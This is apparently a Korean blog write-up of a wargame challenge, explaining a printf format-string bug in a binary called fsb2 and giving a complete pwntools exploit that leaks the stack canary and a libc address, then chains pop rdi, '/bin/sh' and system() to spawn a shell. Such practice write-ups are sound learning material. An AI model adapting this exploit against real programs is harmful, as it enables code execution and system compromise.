FSB 문제 풀이 (2)

2021. 8. 3. 22:24Layer7/Pwnable

728x90

- 소스코드 분석

 

main() 함수

0x20 크기의 char형 배열 format이 선언되어있습니다.

이 배열에 길이 10만큼 입력을 받고, printf() 함수로 출력합니다.

그런데, 여기서 printf() 함수에 format string이 없으니 FSB 취약점이 발생합니다.

그리고 read() 함수로 다시 입력을 받습니다.

 

소스코드 분석은 이 정도면 된 것 같습니다.

 

Canary, NX 보호기법

이번 문제는 저번 문제와는 다르게 Stack Canary 보호 기법이 걸려있습니다.

이에 초점을 맞춰서 아이디어를 짜보겠습니다.

 

- RSI, RDX, RCX, R8, R9 5개 + ret 1개 + sfp 직전 (0x20/8) + sfp 1개 = 11개 -> return address값 leak

- RSI, RDX, RCX, R8, R9 5개 + Canary 직전 (0x20-8/8) + Canary 1개 = 9개 -> Canary값 leak

 

아마 이렇게 될 것 같습니다.

이제 각각 두 값을 구해보도록 하겠습니다.

 

Return address, Canary

값이 그때 그 때 바뀌는 걸 보니 익스코드 내에서 recv로 받아서 써야 할 것 같습니다.

가젯도 조금 필요할 것 같으니 필요한 가젯을 모아보겠습니다.

 

pop rdi ; ret gadget

이제 익스코드를 작성해보겠습니다.

 

from pwn import *

p=process('./fsb2')
e=ELF('./fsb2')
libc=e.libc

prdi=0x400893
__libc_start_main=libc.symbols['__libc_start_main']
ssystem=libc.symbols['system']

pay="%9$p.%11$p"

p.send(pay)

canary=int(p.recvuntil(".")[:-1],16)
ret=int(p.recv(14),16)

libc_base=ret-__libc_start_main-240
system=libc_base+ssystem
binsh=libc_base+libc.search('/bin/sh\x00').next()

pay='a'*(0x20-8)+p64(canary)+'b'*0x8+p64(prdi)
pay+=p64(binsh)+p64(system)

p.send(pay)

p.interactive()

쉘 획득 완료

728x90

'Layer7 > Pwnable' 카테고리의 다른 글

FSB 문제 풀이 (1)  (0) 2021.08.01
여러가지 ROP 문제 풀이  (0) 2021.08.01
Pwndbg 동적 디버깅으로 RTL 32bit, RTL 64bit 풀기 - Ubuntu Linux  (0) 2021.07.19
PLT와 GOT  (0) 2021.07.17